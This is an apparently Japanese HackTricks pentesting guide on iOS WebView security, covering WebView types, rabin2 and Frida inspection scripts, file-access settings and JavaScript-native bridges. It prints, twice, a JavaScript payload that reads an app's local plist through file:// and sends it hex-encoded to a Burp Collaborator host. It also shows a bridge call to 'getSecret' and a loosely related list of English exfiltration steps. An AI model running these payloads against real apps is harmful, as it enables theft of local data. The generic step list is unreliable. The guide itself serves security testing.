hacktricks/mobile-pentesting/ios-pentesting/ios-webviews.md
2023-07-07 23:42:27 +00:00

30 KiB
Raw Blame History

iOS WebViews

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

WebViewsの種類

WebViewsは、インタラクティブなウェブコンテンツを表示するためのアプリ内ブラウザコンポーネントです。これらはアプリのユーザーインターフェースに直接ウェブコンテンツを埋め込むために使用されます。iOSのWebViewsは、デフォルトでJavaScriptの実行をサポートしているため、スクリプトの注入やクロスサイトスクリプティング攻撃の影響を受ける可能性があります。

  • UIWebView: iOS 12以降では非推奨となり、使用すべきではありません。JavaScriptを無効にすることはできません

  • WKWebView: これはアプリの機能を拡張し、表示されるコンテンツを制御するための適切な選択肢です。

  • JavaScriptはデフォルトで有効ですが、WKWebViewjavaScriptEnabledプロパティにより、すべてのスクリプト注入の脆弱性を完全に無効にすることができます。

  • JavaScriptCanOpenWindowsAutomaticallyは、ポップアップなどの新しいウィンドウをJavaScriptが開くのを防止するために使用できます。

  • **hasOnlySecureContent**プロパティは、WebViewによって読み込まれるリソースが暗号化された接続を介して取得されていることを検証するために使用できます。

  • WKWebViewはプロセス外レンダリングを実装しているため、メモリの破損バグはメインのアプリプロセスに影響を与えません。

  • SFSafariViewController: これは一般的なウェブ閲覧体験を提供するために使用するべきです。これらのWebViewsは、以下の要素を含む特徴的なレイアウトを持っているため、簡単に見つけることができます。

  • セキュリティインジケータを持つ読み取り専用のアドレスフィールド。

  • アクション(「共有」)ボタン

  • 完了ボタン、戻ると進むのナビゲーションボタン、およびページを直接Safariで開く「Safari」ボタン。

  • SFSafariViewControllerではJavaScriptを無効にすることはできず、これはWKWebViewの使用が推奨される理由の1つです。

  • SFSafariViewControllerはまた、クッキーや他のウェブサイトデータをSafariと共有します。

  • ユーザーのSFSafariViewControllerでのアクティビティやインタラクションは、アプリからは見えないため、AutoFillデータ、閲覧履歴、またはウェブサイトデータにアクセスすることはできません。

  • App Storeのレビューガイドラインによれば、SFSafariViewController他のビューやレイヤーによって隠されたり覆われたりしてはなりません

WebViewsの設定の発見

静的解析

UIWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
489 0x0002fee9 0x10002fee9   9  10 (5.__TEXT.__cstring) ascii UIWebView
896 0x0003c813 0x0003c813  24  25 () ascii @_OBJC_CLASS_$_UIWebView
1754 0x00059599 0x00059599  23  24 () ascii _OBJC_CLASS_$_UIWebView

WKWebView

WKWebViewは、iOSアプリケーション内でWebコンテンツを表示するためのコンポーネントです。UIWebViewに比べて高速でパフォーマンスが向上しており、ネイティブアプリケーションと同様の機能を提供します。

WKWebViewは、iOS 8以降で利用可能であり、Safariと同じWebKitエンジンを使用しています。これにより、モバイルアプリケーション内でWebページを表示する際に、高速かつ安全なブラウジング体験を提供することができます。

WKWebViewは、以下のような特徴を持っています。

  • JavaScriptの実行と通信のサポート
  • カスタムスクリプトの実行
  • ページの読み込み状態の監視
  • ページのスクロールとズームのサポート
  • ユーザーの操作に対するイベントの処理
  • クッキーの管理
  • セキュリティポリシーの適用

WKWebViewは、iOSアプリケーションのセキュリティに関する重要な要素でもあります。適切なセキュリティ設定を行わないと、悪意のある攻撃者によってアプリケーションの情報が漏洩する可能性があります。したがって、iOSアプリケーションのペネトレーションテストにおいては、WKWebViewのセキュリティ設定を確認することが重要です。

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
490 0x0002fef3 0x10002fef3   9  10 (5.__TEXT.__cstring) ascii WKWebView
625 0x00031670 0x100031670  17  18 (5.__TEXT.__cstring) ascii unwindToWKWebView
904 0x0003c960 0x0003c960  24  25 () ascii @_OBJC_CLASS_$_WKWebView
1757 0x000595e4 0x000595e4  23  24 () ascii _OBJC_CLASS_$_WKWebView

代わりに、これらのWebViewクラスの既知のメソッドを検索することもできます。例えば、WKWebViewを初期化するために使用されるメソッドinit(frame:configuration:))を検索してください。

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x5d97a 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO

JavaScriptの設定のテスト

WKWebViewにおいては、ベストプラクティスとして、JavaScriptは明示的に必要な場合を除き無効にする必要があります。JavaScriptが適切に無効化されているかを確認するために、WKPreferencesの使用箇所をプロジェクト内で検索し、javaScriptEnabledプロパティがfalseに設定されていることを確認してください。

let webPreferences = WKPreferences()
webPreferences.javaScriptEnabled = false

もしコンパイルされたバイナリしか持っていない場合、それを検索することができます。

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
391 0x0002f2c7 0x10002f2c7  17  18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled
392 0x0002f2d9 0x10002f2d9  21  22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled

OnlySecureContentのテスト

UIWebViewとは異なり、WKWebViewを使用すると、ミックスコンテンツHTTPSページから読み込まれたHTTPコンテンツを検出することができます。hasOnlySecureContentメソッドを使用することで、ページ上のすべてのリソースが安全に暗号化された接続を介して読み込まれたかどうかを確認することができます。
コンパイルされたバイナリでは、

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

ソースコードや文字列内で "http://" という文字列を検索することもできます。ただし、これは必ずしもミックスコンテンツの問題があることを意味するわけではありません。ミックスコンテンツについて詳しくは、MDN Web Docsを参照してください。

動的解析

ObjC.choose() を使用してヒープを検査し、さまざまなタイプの WebView のインスタンスを見つけることができます。また、javaScriptEnabledhasonlysecurecontent のプロパティを検索することもできます。

{% code title="webviews_inspector.js" %}

ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

{% endcode %}

次のコードを使用して読み込みます:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

onMatch:  <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>

hasOnlySecureContent:  false

WebViewプロトコルの処理

iOS上のWebViewでは、いくつかのデフォルトのスキームが利用可能です。例えば

  • http(s)://
  • file://
  • tel://

WebViewはエンドポイントからリモートコンテンツを読み込むことができますが、アプリのデータディレクトリからもローカルコンテンツを読み込むことができます。ローカルコンテンツが読み込まれる場合、ユーザーはファイル名やパスを変更することはできず、読み込まれたファイルを編集することもできません。

WebViewコンテンツの読み込み

  • UIWebView: 非推奨のメソッド loadHTMLString:baseURL:loadData:MIMEType:textEncodingName:baseURL: を使用してコンテンツを読み込むことができます。
  • WKWebView: メソッド loadHTMLString:baseURL:loadData:MIMEType:textEncodingName:baseURL: を使用してローカルのHTMLファイルを読み込むことができます。また、webコンテンツの読み込みには loadRequest: を使用します。通常、ローカルファイルは、pathForResource:ofType:URLForResource:withExtension:init(contentsOf:encoding:)などのメソッドと組み合わせて読み込まれます。さらに、アプリがメソッド loadFileURL:allowingReadAccessToURL: を使用しているかどうかも確認する必要があります。このメソッドの最初のパラメータは URL であり、WebViewに読み込まれるURLを含みます。2番目のパラメータ allowingReadAccessToURL には、単一のファイルまたはディレクトリが含まれる場合があります。単一のファイルが含まれる場合、そのファイルはWebViewで利用可能になります。ただし、ディレクトリが含まれる場合、そのディレクトリ内のすべてのファイルがWebViewで利用可能になります。したがって、これを調査し、ディレクトリの場合は内部に機密データが含まれていないことを確認する価値があります。

ソースコードがある場合は、これらのメソッドを検索することができます。コンパイルされた バイナリがある場合は、次のメソッドを検索することもできます:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

ファイルアクセス

  • UIWebView:
  • file:// スキームは常に有効です。
  • file:// URL からのファイルアクセスは常に有効です。
  • file:// URL からのユニバーサルアクセスは常に有効です。
  • baseURLnil に設定された UIWebView から有効なオリジンを取得すると、"null" ではなく、次のようなものが得られます: applewebdata://5361016c-f4a0-4305-816b-65411fc1d780。このオリジン "applewebdata://" は "file://" オリジンと似ており、同一オリジンポリシーを実装していないため、ローカルファイルや任意のウェブリソースへのアクセスを許可します。

{% tabs %} {% tab title="exfiltrate_file" %}

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

{% endtab %} {% endtabs %}

  • WKWebViewWKWebView
  • allowFileAccessFromFileURLsWKPreferences、デフォルトではfalse):これにより、file://スキームURLのコンテキストで実行されるJavaScriptが他のfile://スキームURLからコンテンツにアクセスできるようになります。
  • allowUniversalAccessFromFileURLsWKWebViewConfiguration、デフォルトではfalse):これにより、file://スキームURLのコンテキストで実行されるJavaScriptが任意のオリジンからコンテンツにアクセスできるようになります。

これらの関数は、アプリケーションのソースコードやコンパイルされたバイナリで検索することができます。
また、次のFridaスクリプトを使用して、この情報を見つけることもできます

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
frida -U -f com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

onMatch:  <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
URL:  file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/
Library/WKWebView/scenario1.html
javaScriptEnabled:  true
allowFileAccessFromFileURLs:  0
hasOnlySecureContent:  false
allowUniversalAccessFromFileURLs:  0

任意のファイルを外部に持ち出す

To exfiltrate arbitrary files from an iOS app's webview, you can use the following steps:

  1. Identify the webview's file upload functionality.
  2. Craft a malicious file that contains the data you want to exfiltrate.
  3. Use a file upload vulnerability to upload the malicious file to the webview.
  4. Intercept the file upload request using a proxy tool like Burp Suite.
  5. Modify the request to exfiltrate the file to an external server or storage.
  6. Verify that the file has been successfully exfiltrated.

Note: This technique may require additional steps depending on the specific app and its security measures.

//For some reason this payload doesn't work!!
//Let me know if you know how to exfiltrate local files from a WKWebView
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

WebViewを介した公開されたネイティブメソッド

iOS 7以降、AppleはWebView内のJavaScriptランタイムとネイティブのSwiftまたはObjective-Cオブジェクト間の通信を可能にするAPIを導入しました。

ネイティブコードとJavaScriptの通信方法には、次の2つの基本的な方法があります。

  • JSContext: Objective-CまたはSwiftのブロックがJSContextの識別子に割り当てられると、JavaScriptCoreは自動的にブロックをJavaScript関数でラップします。
  • JSExportプロトコル: JSExportを継承したプロトコルで宣言されたプロパティ、インスタンスメソッド、クラスメソッドは、すべてのJavaScriptコードで利用可能なJavaScriptオブジェクトにマッピングされます。JavaScript環境内のオブジェクトの変更は、ネイティブ環境に反映されます。

注意点として、JSExportプロトコルで定義されたクラスメンバーのみがJavaScriptコードからアクセス可能になります。
WebViewに関連付けられたJSContextにネイティブオブジェクトをマッピングするコードを探し、公開される機能を分析してください。例えば、機密データはWebViewからアクセス可能で公開されるべきではありません。
Objective-Cでは、UIWebViewに関連付けられたJSContextは次のように取得されます:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

WKWebView内のJavaScriptコードは、ネイティブアプリにメッセージを送信することができますが、UIWebViewとは異なり、WKWebViewJSContextを直接参照することはできません。代わりに、メッセージングシステムとpostMessage関数を使用して通信を実装します。この関数は、JavaScriptオブジェクトをネイティブのObjective-CまたはSwiftオブジェクトに自動的にシリアライズします。メッセージハンドラは、add(_ scriptMessageHandler:name:)メソッドを使用して構成されます。

JavaScriptBridgeの有効化

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

メッセージの送信

名前が「"name"」(または上記の例では「"javaScriptBridge"」のスクリプトメッセージハンドラを追加すると、ユーザーコンテンツコントローラを使用するすべてのウェブビューのすべてのフレームに、JavaScript関数window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessageが定義されます。それは次のようにHTMLファイルから使用することができます

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}
//After testing the previos funtion I got the error TypeError: undefined is not an object (evaluating 'window.webkit.messageHandlers')
//But the following code worked to call the exposed javascriptbridge with the args "addNumbers", "1", "2"

document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

ネイティブ関数が実行されると、通常はウェブページ内でいくつかのJavaScriptが実行されます(以下のevaluateJavascriptを参照)。実行される関数を上書きして結果を盗むことに興味があるかもしれません。
例えば、以下のスクリプトでは、関数**javascriptBridgeCallBackが2つのパラメータ呼び出された関数と結果**と共に実行されます。ロードされるHTMLを制御できる場合、結果を含むアラートを作成することができます。

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

呼び出される関数

呼び出される関数はJavaScriptBridgeMessageHandler.swiftにあります。

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {

//...

case "multiplyNumbers":

let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
//...

let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)

テスト

アプリケーション内でpostMessageをテストするためには、次の方法があります。

iOS WebViewsのデバッグ

https://blog.vuplex.com/debugging-webviewsからのチュートリアル)

iOSのWebViewsでは、console.log()に渡されたメッセージはXcodeのログには表示されません。Safariの開発者ツールを使用してWebコンテンツをデバッグすることはまだ比較的簡単ですが、いくつかの制限があります。

  • iOSのWebViewsのデバッグにはSafariが必要なため、開発用のコンピュータはmacOSで実行されている必要があります。
  • App StoreやApple Configuratorを介してインストールされたアプリでは、WebViewsのデバッグはできません。

これらの制限を考慮して、iOSのWebViewsをリモートでデバッグする手順は次のとおりです。

  • まず、iOSデバイスでSafari Web Inspectorを有効にするために、iOSの「設定」アプリを開き、「設定 > Safari > 詳細設定」に移動し、「Web Inspector」オプションをオンにします。

iOS Safari settings

  • 次に、開発用のコンピュータでSafariの開発者ツールも有効にする必要があります。開発用のマシンでSafariを起動し、メニューバーの「Safari > 環境設定」に移動します。表示される環境設定パネルで、「詳細」タブをクリックし、一番下にある「開発メニューを表示」オプションを有効にします。これを行った後、環境設定パネルを閉じることができます。

Mac Safari settings

  • iOSデバイスを開発用のコンピュータに接続し、アプリを起動します。
  • 開発用のコンピュータのSafariで、メニューバーの「開発」をクリックし、iOSデバイスの名前であるドロップダウンオプションにカーソルを合わせると、iOSデバイス上で実行されているWebviewインスタンスのリストが表示されます。

Mac Safari develop menu

  • デバッグしたいWebviewのドロップダウンオプションをクリックします。これにより、Webviewを検査するための新しいSafari Web Inspectorウィンドウが開きます。

Safari Web Inspector window

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥